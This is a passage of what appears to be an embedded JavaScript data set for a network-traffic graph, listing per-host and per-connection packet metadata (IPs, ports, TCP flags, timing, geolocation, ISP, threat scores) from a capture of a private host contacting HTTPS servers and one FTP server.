-97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"13.107.42.0/24\"}, \"duration\": 19.241209030151367, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.36380250269257286}, {\"id\": \"131.253.33.254\", \"ip\": \"131.253.33.254\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777213711.537938, \"last_seen\": 1777213730.857066, \"packets\": [{\"num\": 19, \"time\": 1777213711.537938, \"size\": 54, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1777213711.964322, \"size\": 54, \"direction\": \"received\"}, {\"num\": 28, \"time\": 1777213712.566196, \"size\": 54, \"direction\": \"received\"}, {\"num\": 35, \"time\": 1777213713.853838, \"size\": 54, \"direction\": \"received\"}, {\"num\": 40, \"time\": 1777213716.362379, \"size\": 54, \"direction\": \"received\"}, {\"num\": 45, \"time\": 1777213721.163498, \"size\": 54, \"direction\": \"received\"}, {\"num\": 50, \"time\": 1777213730.857066, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"131.253.33.224/27\"}, \"duration\": 19.319127798080444, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3623351982119774}, {\"id\": \"13.107.3.254\", \"ip\": \"13.107.3.254\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777213711.538179, \"last_seen\": 1777213730.779057, \"packets\": [{\"num\": 20, \"time\": 1777213711.538179, \"size\": 54, \"direction\": \"received\"}, {\"num\": 24, \"time\": 1777213711.886259, \"size\": 54, \"direction\": \"received\"}, {\"num\": 32, \"time\": 1777213712.581767, \"size\": 54, \"direction\": \"received\"}, {\"num\": 34, \"time\": 1777213713.784891, \"size\": 54, \"direction\": \"received\"}, {\"num\": 39, \"time\": 1777213716.28422, \"size\": 54, \"direction\": \"received\"}, {\"num\": 44, \"time\": 1777213721.085449, \"size\": 54, \"direction\": \"received\"}, {\"num\": 49, \"time\": 1777213730.779057, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"13.107.0.0/22\"}, \"duration\": 19.240878105163574, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3638087597530929}, {\"id\": \"204.79.197.222\", \"ip\": \"204.79.197.222\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777213711.540809, \"last_seen\": 1777213730.857168, \"packets\": [{\"num\": 21, \"time\": 1777213711.540809, \"size\": 54, \"direction\": \"received\"}, {\"num\": 26, \"time\": 1777213711.964448, \"size\": 54, \"direction\": \"received\"}, {\"num\": 29, \"time\": 1777213712.566245, \"size\": 54, \"direction\": \"received\"}, {\"num\": 36, \"time\": 1777213713.853919, \"size\": 54, \"direction\": \"received\"}, {\"num\": 41, \"time\": 1777213716.362465, \"size\": 54, \"direction\": \"received\"}, {\"num\": 46, \"time\": 1777213721.163578, \"size\": 54, \"direction\": \"received\"}, {\"num\": 51, \"time\": 1777213730.857168, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"204.79.196.0/23\"}, \"duration\": 19.316359043121338, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.36238713436488634}, {\"id\": \"23.48.245.217\", \"ip\": \"23.48.245.217\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777213711.540862, \"last_seen\": 1777213730.857188, \"packets\": [{\"num\": 22, \"time\": 1777213711.540862, \"size\": 54, \"direction\": \"received\"}, {\"num\": 27, \"time\": 1777213711.964472, \"size\": 54, \"direction\": \"received\"}, {\"num\": 30, \"time\": 1777213712.566261, \"size\": 54, \"direction\": \"received\"}, {\"num\": 37, \"time\": 1777213713.853936, \"size\": 54, \"direction\": \"received\"}, {\"num\": 42, \"time\": 1777213716.362483, \"size\": 54, \"direction\": \"received\"}, {\"num\": 47, \"time\": 1777213721.163595, \"size\": 54, \"direction\": \"received\"}, {\"num\": 52, \"time\": 1777213730.857188, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"New Delhi\", \"lat\": 28.6327, \"lon\": 77.2198, \"asn\": 9498, \"isp\": \"BHARTI Airtel Ltd.\", \"network\": \"23.48.245.0/24\"}, \"duration\": 19.316325902938843, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.36238775609677404}, {\"id\": \"91.213.188.9\", \"ip\": \"91.213.188.9\", \"packet_count\": 25, \"total_bytes_sent\": 4318, \"total_bytes_received\": 989, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"ports_used\": [21], \"first_seen\": 1777213870.011506, \"last_seen\": 1777213883.009517, \"packets\": [{\"num\": 53, \"time\": 1777213870.011506, \"size\": 66, \"direction\": \"received\"}, {\"num\": 54, \"time\": 1777213870.011559, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 55, \"time\": 1777213870.0117, \"size\": 54, \"direction\": \"received\"}, {\"num\": 56, \"time\": 1777213880.775338, \"size\": 374, \"direction\": \"sent\"}, {\"num\": 57, \"time\": 1777213880.775728, \"size\": 64, \"direction\": \"received\"}, {\"num\": 58, \"time\": 1777213880.775759, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 59, \"time\": 1777213881.206814, \"size\": 72, \"direction\": \"sent\"}, {\"num\": 60, \"time\": 1777213881.220781, \"size\": 231, \"direction\": \"received\"}, {\"num\": 61, \"time\": 1777213881.220806, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 62, \"time\": 1777213881.619811, \"size\": 3061, \"direction\": \"sent\"}, {\"num\": 63, \"time\": 1777213881.620002, \"size\": 54, \"direction\": \"received\"}, {\"num\": 64, \"time\": 1777213881.660193, \"size\": 147, \"direction\": \"received\"}, {\"num\": 65, \"time\": 1777213881.660223, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 66, \"time\": 1777213882.043482, \"size\": 105, \"direction\": \"sent\"}, {\"num\": 67, \"time\": 1777213882.099332, \"size\": 54, \"direction\": \"received\"}, {\"num\": 68, \"time\": 1777213882.174321, \"size\": 108, \"direction\": \"received\"}, {\"num\": 69, \"time\": 1777213882.174345, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 70, \"time\": 1777213882.551505, \"size\": 134, \"direction\": \"sent\"}, {\"num\": 71, \"time\": 1777213882.551986, \"size\": 103, \"direction\": \"received\"}, {\"num\": 72, \"time\": 1777213882.552008, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 73, \"time\": 1777213882.99833, \"size\": 128, \"direction\": \"sent\"}, {\"num\": 74, \"time\": 1777213882.99836, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 75, \"time\": 1777213882.998523, \"size\": 54, \"direction\": \"received\"}, {\"num\": 76, \"time\": 1777213883.009485, \"size\": 54, \"direction\": \"received\"}, {\"num\": 77, \"time\": 1777213883.009517, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Romania\", \"city\": \"Unknown\", \"lat\": 45.9968, \"lon\": 24.997, \"asn\": 49468, \"isp\": \"Magit'st Srl\", \"network\": \"91.213.188.0/24\"}, \"duration\": 12.998010873794556, \"avg_packet_size\": 212.28, \"packets_per_second\": 1.923371217545509}];\n        const edges = [{\"source\": \"192.168.122.168\", \"target\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes\": 3740, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [49899, 49892], \"dst_ports\": [443], \"first_packet\": 1777213576.978934, \"last_packet\": 1777213600.806974, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1777213576.978934, \"timestamp_iso\": \"2026-04-26T19:56:16.978934\", \"timestamp_human\": \"2026-04-26 19:56:16.978\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46845, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 1, \"timestamp\": 1777213577.29147, \"timestamp_iso\": \"2026-04-26T19:56:17.291470\", \"timestamp_human\": \"2026-04-26 19:56:17.291\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46846, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 2, \"timestamp\": 1777213577.900813, \"timestamp_iso\": \"2026-04-26T19:56:17.900813\", \"timestamp_human\": \"2026-04-26 19:56:17.900\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46847, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 3, \"timestamp\": 1777213579.103914, \"timestamp_iso\": \"2026-04-26T19:56:19.103914\", \"timestamp_human\": \"2026-04-26 19:56:19.103\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46848, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1777213579.459364, \"timestamp_iso\": \"2026-04-26T19:56:19.459364\", \"timestamp_human\": \"2026-04-26 19:56:19.459\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46849, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 5, \"timestamp\": 1777213579.760137, \"timestamp_iso\": \"2026-04-26T19:56:19.760137\", \"timestamp_human\": \"2026-04-26 19:56:19.760\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46850, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1777213580.317697, \"timestamp_iso\": \"2026-04-26T19:56:20.317697\", \"timestamp_human\": \"2026-04-26 19:56:20.317\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46851, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1777213580.364609, \"timestamp_iso\": \"2026-04-26T19:56:20.364609\", \"timestamp_human\": \"2026-04-26 19:56:20.364\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46852, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1777213581.520764, \"timestamp_iso\": \"2026-04-26T19:56:21.520764\", \"timestamp_human\": \"2026-04-26 19:56:21.520\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46853, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1777213581.567614, \"timestamp_iso\": \"2026-04-26T19:56:21.567614\", \"timestamp_human\": \"2026-04-26 19:56:21.567\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46854, \"ip_len\": 287, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 10, \"timestamp\": 1777213582.770657, \"timestamp_iso\": \"2026-04-26T19:56:22.770657\", \"timestamp_human\": \"2026-04-26 19:56:22.770\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46855, \"ip_len\": 287, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1777213583.926862, \"timestamp_iso\": \"2026-04-26T19:56:23.926862\", \"timestamp_human\": \"2026-04-26 19:56:23.926\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46856, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1777213583.973748, \"timestamp_iso\": \"2026-04-26T19:56:23.973748\", \"timestamp_human\": \"2026-04-26 19:56:23.973\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46857, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1777213586.386448, \"timestamp_iso\": \"2026-04-26T19:56:26.386448\", \"timestamp_human\": \"2026-04-26 19:56:26.386\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46858, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1777213588.800596, \"timestamp_iso\": \"2026-04-26T19:56:28.800596\", \"timestamp_human\": \"2026-04-26 19:56:28.800\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46859, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1777213591.207642, \"timestamp_iso\": \"2026-04-26T19:56:31.207642\", \"timestamp_human\": \"2026-04-26 19:56:31.207\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46860, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1777213598.415325, \"timestamp_iso\": \"2026-04-26T19:56:38.415325\", \"timestamp_human\": \"2026-04-26 19:56:38.415\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46861, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783903, \"tcp_ack\": 1692602478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 17, \"timestamp\": 1777213600.806974, \"timestamp_iso\": \"2026-04-26T19:56:40.806974\", \"timestamp_human\": \"2026-04-26 19:56:40.806\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46862, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411404, \"tcp_ack\": 1369756557, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"PSH\": 16, \"ACK\": 18, \"RST\": 2}, \"packet_sizes\": [153, 153, 153, 153, 301, 301, 153, 301, 153, 301, 301, 153, 301, 301, 153, 301, 54, 54], \"inter_packet_intervals\": [0.31253600120544434, 0.6093430519104004, 1.2031009197235107, 0.355449914932251, 0.30077314376831055, 0.5575599670410156, 0.04691195487976074, 1.1561551094055176, 0.046849966049194336, 1.203042984008789, 1.1562049388885498, 0.04688596725463867, 2.4126999378204346, 2.4141480922698975, 2.40704607963562, 7.207682847976685, 2.391649007797241], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 23.82803988456726, \"avg_packet_size\": 207.77777777777777, \"packets_per_second\": 0.7554125344425869, \"bytes_per_second\": 156.95793771195972, \"min_packet_size\": 54, \"max_packet_size\": 301, \"median_packet_size\": 153, \"avg_interval\": 1.4016494049745447, \"min_interval\": 0.046849966049194336, \"max_interval\": 7.207682847976685}, {\"source\": \"192.168.122.168\", \"target\": \"13.107.42.254\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49957], \"dst_ports\": [443], \"first_packet\": 1777213711.537736, \"last_packet\": 1777213730.778945, \"packets\": [{\"packet_number\": 18, \"timestamp\": 1777213711.537736, \"timestamp_iso\": \"2026-04-26T19:58:31.537736\", \"timestamp_human\": \"2026-04-26 19:58:31.537\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10777, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 23, \"timestamp\": 1777213711.886229, \"timestamp_iso\": \"2026-04-26T19:58:31.886229\", \"timestamp_human\": \"2026-04-26 19:58:31.886\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10778, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 31, \"timestamp\": 1777213712.581699, \"timestamp_iso\": \"2026-04-26T19:58:32.581699\", \"timestamp_human\": \"2026-04-26 19:58:32.581\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10779, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 33, \"timestamp\": 1777213713.784793, \"timestamp_iso\": \"2026-04-26T19:58:33.784793\", \"timestamp_human\": \"2026-04-26 19:58:33.784\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10780, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 38, \"timestamp\": 1777213716.284163, \"timestamp_iso\": \"2026-04-26T19:58:36.284163\", \"timestamp_human\": \"2026-04-26 19:58:36.284\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10781, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 43, \"timestamp\": 1777213721.085381, \"timestamp_iso\": \"2026-04-26T19:58:41.085381\", \"timestamp_human\": \"2026-04-26 19:58:41.085\", \"size\": 54, \"protocols\": [\"Ether\", 